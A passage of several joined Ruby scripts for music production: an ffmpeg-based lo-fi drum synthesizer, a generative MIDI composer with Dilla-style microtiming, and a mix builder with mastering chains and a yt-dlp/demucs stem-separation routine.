snr_env = (snares.map { |t| "between(t,#{t},#{t + 0.12})*exp(-(t-#{t})*20)" } +
ghosts.map { |t| "between(t,#{t},#{t + 0.08})*0.35*exp(-(t-#{t})*30)" }).join("+")
hat_env = hats.map { |t| "between(t,#{t},#{t + 0.05})*exp(-(t-#{t})*60)" }.join("+")
opn_env = opens.map { |t| "between(t,#{t},#{t + 0.2})*exp(-(t-#{t})*12)" }.join("+")
inputs = [
*lavfi("aevalsrc='#{kick_sig}':d=#{total}:s=44100"),
*lavfi("aevalsrc='#{sub_sig}':d=#{total}:s=44100"),
*lavfi("anoisesrc=color=white:r=44100:amplitude=0.5:d=#{total}"),
*lavfi("anoisesrc=color=pink:r=44100:amplitude=0.04:d=#{total}"),
]
filt = <<~F
[0:a]aformat=channel_layouts=stereo,equalizer=f=60:t=o:w=1:g=3,
acompressor=threshold=-12dB:ratio=4:attack=1:release=60:makeup=2[kick];
[1:a]aformat=channel_layouts=stereo,lowpass=f=120,equalizer=f=40:t=o:w=0.8:g=4[sub];
[2:a]aformat=channel_layouts=stereo,asplit=3[ns][nh][no];
[ns]volume='(#{snr_env})*0.7':eval=frame,equalizer=f=200:t=o:w=2:g=3,bandpass=f=300:w=400[snare];
[nh]volume='(#{hat_env})*0.3':eval=frame,highpass=f=6000[hat];
[no]volume='(#{opn_env})*0.25':eval=frame,bandpass=f=5500:w=5000[open];
[kick][sub][snare][hat][open]amix=inputs=5:weights=1.3 0.85 0.9 0.55 0.5:duration=longest[drums];
[drums]acompressor=threshold=-16dB:ratio=4:attack=2:release=80:makeup=3[drums_comp];
[drums_comp]aeval='tanh(val(0)*1.6)/tanh(1.6)|tanh(val(1)*1.6)/tanh(1.6)'[drums_sat];
[drums_sat]lowpass=f=11000,equalizer=f=200:t=o:w=2:g=-2,equalizer=f=2500:t=o:w=2:g=-3[lofi];
[3:a]equalizer=f=4500:t=o:w=3:g=5,equalizer=f=80:t=o:w=1:g=-18,volume=0.15[crackle];
[lofi][crackle]amix=inputs=2:weights=1 0.4:duration=first[mixed];
[mixed]alimiter=level_in=1.0:level_out=0.97:limit=0.92:attack=4:release=40[out]
F
render "dilla beat (#{BPM} BPM × #{BARS} bars → #{total}s)", dest,
inputs: inputs, map: "[out]", filter: filt
end
dest = ARGV[0] || File.join(DIR, "dilla_hiphop.mp3")
synthesize(dest)
puts "done -> #{dest}"#!/usr/bin/env ruby
# frozen_string_literal: true
# Dilla Electronium: Raymond Scott-style generative MIDI with Dilla microtiming.
# Inspired by the public gist noted in README.md, adapted for pub4 as a safe
# generator: no auto-install, no network, no shell renderer.
begin
require "midilib"
require "midilib/sequence"
require "midilib/track"
require "midilib/consts"
rescue LoadError
warn "midilib is required. Install it outside this script: gem install midilib"
exit 69
end
module DillaElectronium
PPQN = 480
BPM = Integer(ENV.fetch("BPM", "86"))
BARS = Integer(ENV.fetch("BARS", "32"))
F_MINOR = [65, 67, 68, 70, 72, 73, 75].freeze
CHORDS = {
fm9: [53, 56, 60, 63, 67],
dbmaj9: [49, 53, 56, 60, 63],
eb9: [51, 55, 58, 63, 65],
bbm9: [46, 49, 53, 56, 60],
cm7b5: [48, 51, 54, 58],
c7alt: [48, 52, 58, 61, 63]
}.freeze
PROGRESSION = %i[fm9 dbmaj9 eb9 bbm9 cm7b5 fm9 c7alt fm9].freeze
DRUMS = {
kick: 36,
snare: 38,
closed_hat: 42,
open_hat: 46
}.freeze
module Groove
module_function
def offset_ticks(type)
case type
when :kick then rand(-5..1)
when :snare then rand(2..9)
when :hat then rand(-3..4)
when :bass then rand(-4..5)
else rand(-5..5)
end
end
def beat_to_ticks(beat, type = :melody)
((beat * PPQN) + offset_ticks(type)).round.clamp(0, 1 << 30)
end
end
class TrackBuilder
include MIDI
def initialize(sequence, name, channel)
@sequence = sequence
@track = Track.new(sequence)
@track.name = name
@sequence.tracks << @track
@channel = channel
end
def note(note, start_beat, duration_beats, velocity, feel: :melody)
return if duration_beats <= 0
start = Groove.beat_to_ticks(start_beat, feel)
stop = [start + (duration_beats * PPQN).round, start + 1].max
@track.events << NoteOn.new(@channel, note, velocity.clamp(1, 127), 0, start)
@track.events << NoteOff.new(@channel, note, 0, 0, stop)
end
def finish
@track.events.sort_by! { |event| [event.time_from_start, event.is_a?(NoteOff) ? 0 : 1] }
@track.recalc_times
end
end
class Composer
include MIDI
def initialize(bpm: BPM, bars: BARS)
@bpm = bpm
@bars = bars
@sequence = Sequence.new
@sequence.ppqn = PPQN
add_tempo_track
end
def write(path)
add_drums
add_bass
add_chords
add_melody
File.open(path, "wb") { |file| @sequence.write(file) }
path
end
private
def add_tempo_track
track = Track.new(@sequence)
@sequence.tracks << track
track.events << Tempo.new(Tempo.bpm_to_mpq(@bpm))
track.events << MetaEvent.new(META_SEQ_NAME, "Dilla Electronium")
track.events << MetaEvent.new(META_TIME_SIG, [4, 2, 24, 8].pack("cccc"))
end
def add_drums
drums = TrackBuilder.new(@sequence, "drums", 9)
@bars.times do |bar|
base = bar * 4.0
[0.0, 1.75, 2.5, 3.5].each { |beat| drums.note(DRUMS[:kick], base + beat, 0.18, 105, feel: :kick) }
[1.0, 3.0].each { |beat| drums.note(DRUMS[:snare], base + beat, 0.12, 92, feel: :snare) }
[2.75].each { |beat| drums.note(DRUMS[:snare], base + beat, 0.08, 42, feel: :snare) } if bar.odd?
8.times do |step|
beat = base + (step * 0.5) + (step.odd? ? 0.055 : 0.0)
drums.note(DRUMS[:closed_hat], beat, 0.08, step.odd? ? 48 : 68, feel: :hat)
end
drums.note(DRUMS[:open_hat], base + 3.5, 0.18, 58, feel: :hat) if (bar % 4).zero?
end
drums.finish
end
def add_bass
bass = TrackBuilder.new(@sequence, "bass", 0)
chord_cycle.each_with_index do |chord_name, index|
root = CHORDS.fetch(chord_name).first - 12
start = index * 2.0
bass.note(root, start, 0.62, 98, feel: :bass)
bass.note(root + 12, start + 0.75, 0.25, 72, feel: :bass)
bass.note(root, start + 1.5, 0.38, 86, feel: :bass)
end
bass.finish
end
def add_chords
chords = TrackBuilder.new(@sequence, "electric-piano", 1)
chord_cycle.each_with_index do |chord_name, index|
CHORDS.fetch(chord_name).each_with_index do |note, voice|
chords.note(note + 12, index * 2.0, 1.82, 48 + (voice * 4), feel: :melody)
end
end
chords.finish
end
def add_melody
lead = TrackBuilder.new(@sequence, "lead-chops", 2)
note_index = 2
direction = 1
(@bars * 4).times do |step|
if rand < 0.78
note = F_MINOR[note_index] + (rand < 0.25 ? 12 : 0)
duration = [0.25, 0.5, 0.75].sample
lead.note(note, step * 1.0, duration, rand(62..88), feel: :melody)
end
note_index += direction * (rand < 0.2 ? 2 : 1)
if note_index >= F_MINOR.length - 1
note_index = F_MINOR.length - 2
direction = -1
elsif note_index <= 0
note_index = 1
direction = 1
end
direction *= -1 if rand < 0.18
end
lead.finish
end
def chord_cycle
repeats = ((@bars * 4.0) / (PROGRESSION.length * 2.0)).ceil
PROGRESSION.cycle.take(PROGRESSION.length * repeats)
end
end
end
if $PROGRAM_NAME == __FILE__
output = ARGV[0] || File.join(__dir__, "dilla_electronium.mid")
path = DillaElectronium::Composer.new.write(output)
puts "wrote #{path}"
end#!/usr/bin/env ruby
# frozen_string_literal: true
#
# Sirkel Sag × Voicemails — mix builder + sample harvester.
#
# Mix:
# ruby make.rb [v7|v8|v9|v10|v11] default: v11
# Sample harvest (YouTube → stems):
# ruby make.rb demux <url-or-path> 6-stem demucs
# ruby make.rb demux <url-or-path> deep 6-stem + EQ sub-bands + M/S
# Stem manifest for dilla.html sample rack:
# ruby make.rb stems scan stems/ + write manifest.json
# ruby make.rb stems add <name> <dir> [bpm] register a new stem set
# Long-form WAV liveset (auto-runs after every vN):
# ruby make.rb liveset [set] [minutes] 60-min default; LIVESET_MIN env
# Standalone beat synthesizers (no source needed):
# ruby dilla_hiphop.rb [out.mp3] 86 BPM × 8 bars, lo-fi
# ruby techno_hate.rb [out.mp3] 142 BPM × 8 bars, distorted
#
# v7 Dilla × FlyLo × Afta-1 base, heavy master + vinyl crackle
# v8 Dilla Drunk — sub-forward, dry vox, wobble
# v9 Afta-1 Psychedelic Space — pitch -4st, slowed 8%, Db-min pad
# v10 Crane Song HEDD — triode/pentode harmonic emulation, C-min pad
# v11 Clean & Soothing — 2kHz pluck notch, M/S split, original-pitch vox
require "fileutils"
DIR = __dir__
BEAT = ENV.fetch("BEAT", "/sdcard/Download/Voicemails.mp3")
DUR = 146
BPM = 118.6
LIVESET_MIN = (ENV["LIVESET_MIN"] || 60).to_i
VOCALS = {
processed: File.join(DIR, "vocals_processed.wav"),
precise: File.join(DIR, "vocals_precise.wav"),
original: File.join(DIR, "vocals_original_pitch.wav"),
}.freeze
def out_path(ver) = File.join(DIR, "final_mix_#{ver}.mp3")
def tmp(ver, name) = "/tmp/#{ver}_#{name}.wav"
def loop_beat = ["-stream_loop", "-1", "-i", BEAT, "-t", DUR.to_s]
def lavfi(src) = ["-f", "lavfi", "-i", src]
def beat_ms(bpm) = (60_000 / bpm).to_i
def dotted_8th(bpm) = (beat_ms(bpm) * 0.75).to_i
def half(bpm) = (beat_ms(bpm) * 2).to_i
def run(label, *cmd)
puts ">>> #{label}"
abort "fail: #{label}" unless system(*cmd.flatten.map(&:to_s))
end
def render(label, dest, inputs:, filter:, map:, args: ["-ar", "44100"])
run label, "ffmpeg", "-y", *inputs,
"-filter_complex", filter.tr("\n", " "),
"-map", map, *args, dest
end
# v7
def v7
ver = "v7"
beat_pre, vocals_pre, crackle = tmp(ver, "beat"), tmp(ver, "vocals"), tmp(ver, "crackle")
d8 = dotted_8th(BPM)
render "beat: M/S + EQ + crunch + room", beat_pre,
inputs: ["-i", BEAT], map: "[beat_out]", filter: <<~F
[0:a]aformat=sample_rates=44100:channel_layouts=stereo,volume=1.0[raw];
[raw]pan=stereo|c0=c0+c1|c1=c0+c1[mid];
[raw]pan=stereo|c0=c0-c1|c1=c1-c0[side];
[mid]equalizer=f=60:t=o:w=0.8:g=7,
equalizer=f=120:t=o:w=1:g=3,
equalizer=f=400:t=o:w=1:g=-2,
equalizer=f=2000:t=o:w=2:g=-3,
acompressor=threshold=-20dB:ratio=6:attack=2:release=80:makeup=3[mid_eq];
[side]equalizer=f=300:t=o:w=2:g=-4,
equalizer=f=6000:t=o:w=3:g=4,
acompressor=threshold=-18dB:ratio=3:attack=8:release=120:makeup=2[side_eq];
[mid_eq][side_eq]amix=inputs=2:weights=1.4 0.6[beat_mix];
[beat_mix]acrusher=level_in=1.2:level_out=0.9:bits=14:mode=log:aa=1[beat_crush];
[beat_crush]aecho=0.6:0.4:30|60|90:0.15|0.08|0.04[beat_room];
[beat_room]acompressor=threshold=-16dB:ratio=4:attack=3:release=60:makeup=2[beat_comp];
[beat_comp]volume=0.88[beat_out]
F
render "vocals: clear + shiny + precise", vocals_pre,
inputs: ["-i", VOCALS[:processed]], map: "[voc_out]", filter: <<~F
[0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];
[vraw]equalizer=f=180:t=o:w=1:g=-10,
equalizer=f=300:t=o:w=1:g=-4,
equalizer=f=900:t=o:w=1.5:g=2,
equalizer=f=2500:t=o:w=2:g=5,
equalizer=f=5000:t=o:w=2:g=4,
equalizer=f=10000:t=o:w=3:g=5,
equalizer=f=16000:t=o:w=3:g=4[voc_eq];
[voc_eq]acompressor=threshold=-16dB:ratio=2.5:attack=5:release=80:makeup=5[voc_comp];
[voc_comp]asplit=4[va][vb][vc][vd];
[va]volume=1.0[voc_dry];
[vb]aecho=0.7:0.6:350|700:0.3|0.12,
equalizer=f=300:t=h:w=1:g=0[voc_plate];
[vc]adelay=#{d8}|#{d8 * 2},
equalizer=f=400:t=h:w=1:g=0[voc_ping];
[vd]chorus=0.5:0.9:20|25:0.1|0.08:0.15|0.2:1.0|1.0[voc_shimmer];
[voc_dry][voc_plate][voc_ping][voc_shimmer]amix=inputs=4:weights=1.4 0.4 0.35 0.5[voc_wet];
[voc_wet]volume=1.35[voc_out]
F
render "crackle: vinyl surface noise", crackle,
inputs: lavfi("anoisesrc=r=44100:color=pink:amplitude=0.025:d=300"),
map: "[crack_out]", filter: <<~F
[0:a]equalizer=f=3000:t=o:w=3:g=5,
equalizer=f=80:t=o:w=1:g=-15,
volume=0.18[crack_out]
F
render "master: triple-comp + tape sat + limit", out_path(ver),
inputs: ["-i", beat_pre, "-i", vocals_pre, "-i", crackle],
map: "[out]", args: ["-b:a", "320k"], filter: <<~F
[0:a]volume=0.82[b];
[1:a]volume=1.25[v];
[2:a]volume=0.22[c];
[b][v][c]amix=inputs=3:duration=first:weights=1 1.25 0.22[raw_mix];
[raw_mix]acompressor=threshold=-22dB:ratio=3:attack=5:release=120:makeup=3[comp_low];
[comp_low]acompressor=threshold=-12dB:ratio=5:attack=2:release=60:makeup=3[comp_mid];
[comp_mid]acompressor=threshold=-6dB:ratio=10:attack=1:release=30:makeup=2[comp_hi];
[comp_hi]equalizer=f=55:t=o:w=0.7:g=5,
equalizer=f=160:t=o:w=1:g=2,
equalizer=f=500:t=o:w=1.5:g=-2,
equalizer=f=3000:t=o:w=2:g=-1,
equalizer=f=10000:t=o:w=2:g=3[master_eq];
[master_eq]aeval='tanh(val(0)*2.5)/tanh(2.5)|tanh(val(1)*2.5)/tanh(2.5)'[tape_sat];
[tape_sat]aecho=0.3:0.2:18:0.06[air];
[air]alimiter=level_in=1.0:level_out=0.98:limit=0.92:attack=3:release=25:level=disabled[limited];
[limited]volume=0.96[out]
F
end
# v8
def v8
ver = "v8"
beat_pre, vocals_pre, crackle = tmp(ver, "beat"), tmp(ver, "vocals"), tmp(ver, "crackle")
render "beat: sub focus + drunk wobble", beat_pre,
inputs: loop_beat, map: "[beat_out]", filter: <<~F
[0:a]aformat=sample_rates=44100:channel_layouts=stereo[raw];
[raw]equalizer=f=55:t=o:w=0.7:g=9,
equalizer=f=120:t=o:w=1:g=4,
equalizer=f=350:t=o:w=1.5:g=-6,
equalizer=f=1000:t=o:w=2:g=-8,
equalizer=f=4000:t=o:w=2:g=-5,
equalizer=f=10000:t=o:w=3:g=-4[sub_heavy];
[sub_heavy]acompressor=threshold=-18dB:ratio=8:attack=1:release=40:makeup=4[beat_comp];
[beat_comp]tremolo=f=0.4:d=0.04[beat_wobble];
[beat_wobble]acrusher=level_in=1.1:level_out=0.85:bits=16:mode=log:aa=1[beat_grit];
[beat_grit]volume=0.75[beat_out]
F
render "vocals: dry + tight + present", vocals_pre,
inputs: ["-i", VOCALS[:precise]], map: "[voc_out]", filter: <<~F
[0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];
[vraw]equalizer=f=200:t=o:w=1:g=-10,
equalizer=f=1200:t=o:w=2:g=3,
equalizer=f=3000:t=o:w=2:g=6,
equalizer=f=6000:t=o:w=2:g=4,
equalizer=f=12000:t=o:w=3:g=3[voc_eq];
[voc_eq]acompressor=threshold=-18dB:ratio=4:attack=3:release=60:makeup=6[voc_comp];
[voc_comp]asplit=2[vd][vr];
[vd]volume=1.0[voc_dry];
[vr]aecho=0.5:0.3:80|160:0.12|0.05[voc_tiny_room];
[voc_dry][voc_tiny_room]amix=inputs=2:weights=1.0 0.3[voc_out]
F
render "crackle: heavy vinyl", crackle,
inputs: lavfi("anoisesrc=r=44100:color=pink:amplitude=0.05:d=#{DUR}"),
map: "[crack_out]", filter: <<~F
[0:a]equalizer=f=4000:t=o:w=3:g=8,
equalizer=f=80:t=o:w=1:g=-20,
volume=0.3[crack_out]
F
render "master: tape sat + breathe", out_path(ver),
inputs: ["-i", beat_pre, "-i", vocals_pre, "-i", crackle],
map: "[out]", args: ["-b:a", "320k"], filter: <<~F
[0:a]volume=0.85[b];
[1:a]volume=1.4[v];
[2:a]volume=0.35[c];
[b][v][c]amix=inputs=3:duration=first:weights=1 1.4 0.35[mix];
[mix]equalizer=f=60:t=o:w=0.8:g=3,
equalizer=f=5000:t=o:w=2:g=2[master_eq];
[master_eq]aeval='tanh(val(0)*1.8)/tanh(1.8)|tanh(val(1)*1.8)/tanh(1.8)'[tape];
[tape]alimiter=level_in=1.0:level_out=0.97:limit=0.94:attack=5:release=80:level=disabled[out]
F
end
# v9
def v9
ver = "v9"
slow = 0.92
bpm = BPM * slow
d8 = dotted_8th(bpm)
hf = half(bpm)
beat_pre, vocals_pre, pad, crackle =
tmp(ver, "beat"), tmp(ver, "vocals"), tmp(ver, "pad"), tmp(ver, "crackle")
render "beat: pitched -4st + slowed + psychedelic", beat_pre,
inputs: loop_beat, map: "[beat_out]", filter: <<~F
[0:a]aformat=sample_rates=44100:channel_layouts=stereo[raw];
[raw]asetrate=44100*0.7937,aresample=44100,atempo=#{slow}[pitched];
[pitched]equalizer=f=50:t=o:w=0.7:g=9,
equalizer=f=100:t=o:w=1:g=5,
equalizer=f=600:t=o:w=2:g=-3,
equalizer=f=3000:t=o:w=2:g=-5[beat_eq];
[beat_eq]aphaser=in_gain=0.6:out_gain=0.8:delay=4:decay=0.5:speed=0.4:type=triangular[beat_phase];
[beat_phase]aecho=0.7:0.5:200|400:0.3|0.15[beat_echo];
[beat_echo]acompressor=threshold=-16dB:ratio=5:attack=4:release=80:makeup=3[beat_comp];
[beat_comp]volume=0.78[beat_out]
F
render "vocals: cathedral + shimmer + bitcrush + phaser", vocals_pre,
inputs: ["-i", VOCALS[:precise]], map: "[voc_out]", filter: <<~F
[0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];
[vraw]equalizer=f=150:t=o:w=1:g=-8,
equalizer=f=800:t=o:w=2:g=2,
equalizer=f=3000:t=o:w=2:g=3,
equalizer=f=8000:t=o:w=3:g=5,
equalizer=f=14000:t=o:w=3:g=4[voc_eq];
[voc_eq]acompressor=threshold=-14dB:ratio=2.5:attack=8:release=200:makeup=5[voc_comp];
[voc_comp]asplit=4[va][vb][vc][vd];
[va]volume=0.9[voc_dry];
[vb]aecho=0.88:0.92:800|1600|3200|6400:0.6|0.4|0.22|0.10[voc_cathedral];
[vc]chorus=0.7:0.9:35|45|55:0.4|0.32|0.25:0.3|0.4|0.25:1.8|2.2|1.4[voc_shimmer];
[vd]adelay=#{d8}|#{hf},
acrusher=level_in=1.8:level_out=0.5:bits=6:mode=log:aa=1[voc_bit];
[voc_dry][voc_cathedral][voc_shimmer][voc_bit]amix=inputs=4:weights=1 0.7 0.5 0.2[voc_wet];
[voc_wet]aphaser=in_gain=0.5:out_gain=0.7:delay=3:decay=0.4:speed=0.2:type=sinusoidal[voc_phase];
[voc_phase]flanger=delay=6:depth=5:speed=0.2:shape=sinusoidal[voc_flange];
[voc_flange]volume=1.3[voc_out]
F
render "pad: Db minor sine chord swell", pad,
inputs: lavfi("aevalsrc=0.12*sin(2*PI*138.59*t)+0.10*sin(2*PI*277.18*t)+0.08*sin(2*PI*349.23*t)+0.09*sin(2*PI*415.30*t)+0.05*sin(2*PI*554.37*t):s=44100:c=stereo:d=#{DUR}"),
map: "[pad_out]", filter: <<~F
[0:a]equalizer=f=800:t=o:w=2:g=-6,
equalizer=f=3000:t=o:w=2:g=-10,
aecho=0.9:0.85:600|1200:0.5|0.3[pad_echo];
[pad_echo]chorus=0.6:0.8:40|50:0.3|0.25:0.4|0.3:1.5|2.0[pad_chorus];
[pad_chorus]aphaser=in_gain=0.6:out_gain=0.8:delay=5:decay=0.6:speed=0.15:type=sinusoidal[pad_phase];
[pad_phase]volume=0.22[pad_out]
F
render "crackle: distant vinyl", crackle,
inputs: lavfi("anoisesrc=r=44100:color=pink:amplitude=0.02:d=#{DUR}"),
map: "[crack_out]", filter: <<~F
[0:a]equalizer=f=5000:t=o:w=3:g=6,
equalizer=f=80:t=o:w=1:g=-18,
volume=0.12[crack_out]
F
render "master: psychedelic space chain", out_path(ver),
inputs: ["-i", beat_pre, "-i", vocals_pre, "-i", pad, "-i", crackle],
map: "[out]", args: ["-b:a", "320k"], filter: <<~F
[0:a]volume=0.80[b];
[1:a]volume=1.20[v];
[2:a]volume=0.25[p];
[3:a]volume=0.15[c];
[b][v][p][c]amix=inputs=4:duration=first:weights=1 1.2 0.25 0.15[mix];
[mix]acompressor=threshold=-22dB:ratio=3:attack=8:release=200:makeup=3[comp1];
[comp1]acompressor=threshold=-10dB:ratio=6:attack=2:release=60:makeup=2[comp2];
[comp2]equalizer=f=50:t=o:w=0.7:g=4,
equalizer=f=200:t=o:w=1:g=2,
equalizer=f=2000:t=o:w=1.5:g=-2,
equalizer=f=12000:t=o:w=2:g=3[master_eq];
[master_eq]aeval='tanh(val(0)*3.0)/tanh(3.0)|tanh(val(1)*3.0)/tanh(3.0)'[tape];
[tape]aecho=0.25:0.18:25:0.08[master_air];
[master_air]alimiter=level_in=1.0:level_out=0.98:limit=0.93:attack=2:release=20:level=disabled[out]
F
end
# v10
HEDD = "val(0)+0.28*val(0)*val(0)*(gt(val(0),0)-lt(val(0),0))+0.12*val(0)*val(0)*val(0)|" \
"val(1)+0.28*val(1)*val(1)*(gt(val(1),0)-lt(val(1),0))+0.12*val(1)*val(1)*val(1)"
def v10
ver = "v10"
d8 = dotted_8th(BPM)
beat_pre, vocals_pre, pad, crackle =
tmp(ver, "beat"), tmp(ver, "vocals"), tmp(ver, "pad"), tmp(ver, "crackle")
render "beat: HEDD triode+pentode + warmth", beat_pre,
inputs: loop_beat, map: "[beat_out]", filter: <<~F
[0:a]aformat=sample_rates=44100:channel_layouts=stereo[raw];
[raw]equalizer=f=50:t=o:w=0.8:g=6,
equalizer=f=100:t=o:w=1:g=4,
equalizer=f=250:t=o:w=1:g=2,
equalizer=f=700:t=o:w=1.5:g=-1,
equalizer=f=3000:t=o:w=2:g=1,
equalizer=f=8000:t=o:w=2:g=2,
equalizer=f=14000:t=o:w=3:g=3[beat_eq];
[beat_eq]acompressor=threshold=-22dB:ratio=3:attack=15:release=200:makeup=3[tape_comp];
[tape_comp]aeval='#{HEDD}'[hedd];
[hedd]aecho=0.5:0.3:25|50:0.1|0.05[spring];
[spring]volume=0.82[beat_out]
F
render "vocals: crystal + HEDD + wide stereo double", vocals_pre,
inputs: ["-i", VOCALS[:precise]], map: "[voc_out]", filter: <<~F
[0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];
[vraw]equalizer=f=160:t=o:w=1:g=-10,
equalizer=f=350:t=o:w=1:g=-4,
equalizer=f=1000:t=o:w=1.5:g=2,
equalizer=f=2500:t=o:w=2:g=6,
equalizer=f=5000:t=o:w=2:g=5,
equalizer=f=10000:t=o:w=3:g=6,
equalizer=f=16000:t=o:w=3:g=5[voc_eq];
[voc_eq]acompressor=threshold=-16dB:ratio=2.5:attack=6:release=100:makeup=5[voc_comp];
[voc_comp]aeval='#{HEDD}'[voc_hedd];
[voc_hedd]asplit=3[va][vb][vc];
[va]volume=1.0[vdry];
[vb]adelay=#{d8}|#{d8},
aecho=0.65:0.55:400|800:0.35|0.15[vplate];
[vc]chorus=0.5:0.9:18|22:0.08|0.06:0.2|0.25:1.0|1.0[vdouble];
[vdry][vplate][vdouble]amix=inputs=3:weights=1.4 0.45 0.35[voc_out]
F
render "pad: C minor — warm soulful", pad,
inputs: lavfi("aevalsrc=0.14*sin(2*PI*130.81*t)+0.11*sin(2*PI*261.63*t)+0.09*sin(2*PI*311.13*t)+0.10*sin(2*PI*392.00*t)+0.06*sin(2*PI*523.25*t):s=44100:c=stereo:d=#{DUR}"),
map: "[pad_out]", filter: <<~F
[0:a]equalizer=f=1000:t=o:w=2:g=-5,
equalizer=f=4000:t=o:w=2:g=-10,
equalizer=f=100:t=o:w=1:g=3[pad_eq];
[pad_eq]aecho=0.85:0.8:500|1000:0.4|0.2[pad_echo];
[pad_echo]chorus=0.5:0.8:35|45:0.25|0.2:0.35|0.25:1.2|1.6[pad_chorus];
[pad_chorus]volume=0.18[pad_out]
F
render "crackle: light vinyl texture", crackle,
inputs: lavfi("anoisesrc=r=44100:color=pink:amplitude=0.015:d=#{DUR}"),
map: "[crack_out]", filter: <<~F
[0:a]equalizer=f=4500:t=o:w=3:g=5,
equalizer=f=80:t=o:w=1:g=-18,
volume=0.10[crack_out]
F
render "master: HEDD bus + vintage tape + warm limit", out_path(ver),
inputs: ["-i", beat_pre, "-i", vocals_pre, "-i", pad, "-i", crackle],
map: "[out]", args: ["-b:a", "320k"], filter: <<~F
[0:a]volume=0.84[b];
[1:a]volume=1.22[v];
[2:a]volume=0.20[p];
[3:a]volume=0.12[c];
[b][v][p][c]amix=inputs=4:duration=first:weights=1 1.22 0.20 0.12[mix];
[mix]acompressor=threshold=-24dB:ratio=2:attack=20:release=300:makeup=2[glue];
[glue]aeval='#{HEDD}'[bus_hedd];
[bus_hedd]equalizer=f=45:t=o:w=0.7:g=3,
equalizer=f=150:t=o:w=1:g=2,
equalizer=f=700:t=o:w=1.5:g=-1,
equalizer=f=12000:t=o:w=2:g=2[master_eq];
[master_eq]aeval='tanh(val(0)*2.2)/tanh(2.2)|tanh(val(1)*2.2)/tanh(2.2)'[tape_sat];
[tape_sat]aecho=0.2:0.15:15:0.05[air];
[air]alimiter=level_in=1.0:level_out=0.98:limit=0.93:attack=4:release=40:level=disabled[out]
F
end
# v11
def v11
ver = "v11"
d8 = dotted_8th(BPM)
beat_pre, vocals_pre, crackle = tmp(ver, "beat"), tmp(ver, "vocals"), tmp(ver, "crackle")
render "beat: pluck notch + M/S + low-pass + phase sum", beat_pre,
inputs: loop_beat, map: "[beat_out]", filter: <<~F
[0:a]aformat=sample_rates=44100:channel_layouts=stereo[raw];
[raw]pan=stereo|c0=c0+c1|c1=c0+c1[mid];
[raw]pan=stereo|c0=c0-c1|c1=c1-c0[side];
[mid]lowpass=f=280[mid_bass];
[mid_bass]equalizer=f=60:t=o:w=0.8:g=6,
equalizer=f=120:t=o:w=1:g=3,
acompressor=threshold=-18dB:ratio=6:attack=2:release=50:makeup=4[mid_punch];
[side]equalizer=f=2000:t=o:w=0.8:g=-12,
equalizer=f=2200:t=o:w=0.5:g=-8,
lowpass=f=9000,
equalizer=f=300:t=o:w=1:g=-3,
equalizer=f=5000:t=o:w=2:g=2[side_clean];
[side_clean]tremolo=f=0.35:d=0.05[side_wobble];
[side_wobble]aphaser=in_gain=0.6:out_gain=0.8:delay=3:decay=0.4:speed=0.3:type=triangular[side_phase];
[mid_punch][side_phase]amix=inputs=2:weights=1.3 0.7[beat_mix];
[beat_mix]acompressor=threshold=-16dB:ratio=3:attack=5:release=100:makeup=2[beat_comp];
[beat_comp]volume=0.82[beat_out]
F
render "vocals: original pitch + warm + soothing", vocals_pre,
inputs: ["-i", VOCALS[:original]], map: "[voc_out]", filter: <<~F
[0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];
[vraw]equalizer=f=180:t=o:w=1:g=-8,
equalizer=f=600:t=o:w=1.5:g=2,
equalizer=f=2000:t=o:w=0.8:g=-6,
equalizer=f=3000:t=o:w=2:g=5,
equalizer=f=7000:t=o:w=2:g=4,
equalizer=f=12000:t=o:w=3:g=2,
lowpass=f=14000[voc_eq];
[voc_eq]acompressor=threshold=-14dB:ratio=2.5:attack=8:release=150:makeup=5[voc_comp];
[voc_comp]asplit=3[va][vb][vc];
[va]volume=1.0[vdry];
[vb]aecho=0.75:0.65:350|700:0.35|0.15[vplate];
[vc]adelay=#{d8}|#{d8 * 2},
chorus=0.5:0.8:20|25:0.08|0.06:0.2|0.25:1.0|1.0[vshine];
[vdry][vplate][vshine]amix=inputs=3:weights=1.3 0.4 0.3[voc_wet];
[voc_wet]aphaser=in_gain=0.5:out_gain=0.7:delay=2:decay=0.3:speed=0.25:type=sinusoidal[voc_phase];
[voc_phase]volume=1.3[voc_out]
F
render "crackle: soft vinyl", crackle,
inputs: lavfi("anoisesrc=r=44100:color=pink:amplitude=0.012:d=#{DUR}"),
map: "[crack_out]", filter: <<~F
[0:a]equalizer=f=5000:t=o:w=3:g=4,
equalizer=f=80:t=o:w=1:g=-18,
volume=0.10[crack_out]
F
render "master: warm + smooth + soothing", out_path(ver),
inputs: ["-i", beat_pre, "-i", vocals_pre, "-i", crackle],
map: "[out]", args: ["-b:a", "320k"], filter: <<~F
[0:a]volume=0.85[b];
[1:a]volume=1.25[v];
[2:a]volume=0.12[c];
[b][v][c]amix=inputs=3:duration=first:weights=1 1.25 0.12[mix];
[mix]acompressor=threshold=-20dB:ratio=2.5:attack=18:release=250:makeup=3[glue];
[glue]equalizer=f=55:t=o:w=0.8:g=4,
equalizer=f=2000:t=o:w=0.6:g=-3,
equalizer=f=8000:t=o:w=2:g=1,
lowpass=f=16000[master_eq];
[master_eq]aeval='tanh(val(0)*2.0)/tanh(2.0)|tanh(val(1)*2.0)/tanh(2.0)'[tape];
[tape]aphaser=in_gain=0.3:out_gain=0.5:delay=2:decay=0.3:speed=0.15:type=sinusoidal[master_phase];
[master_phase]alimiter=level_in=1.0:level_out=0.97:limit=0.93:attack=5:release=60:level=disabled[out]
F
end
# demux
# YouTube clip → 6-stem demucs → optional EQ sub-bands + M/S splits.
# Mirrors the band layout already in stems/ (sub_bass, mids, center, sides...).
DEMUX_DIR = File.join(DIR, "samples")
MODEL = "htdemucs_6s"
def fetch_audio(src)
return File.expand_path(src) unless src.match?(%r{\Ahttps?://})
FileUtils.mkdir_p(DEMUX_DIR)
base = "yt_#{Time.now.strftime("%Y%m%d_%H%M%S")}"
raw = File.join(DEMUX_DIR, "#{base}.wav")
run "yt-dlp #{src}", "yt-dlp", "-x", "--audio-format", "wav", "-o", raw, src
raw
end
def demux_six(src)
audio = fetch_audio(src)
out = File.join(DEMUX_DIR, "demux")
FileUtils.mkdir_p(out)
run "demucs #{MODEL}", "demucs", "-n", MODEL, "-o", out, audio
stems = File.join(out, MODEL, File.basename(audio, ".*"))
puts "stems -> #{stems}"
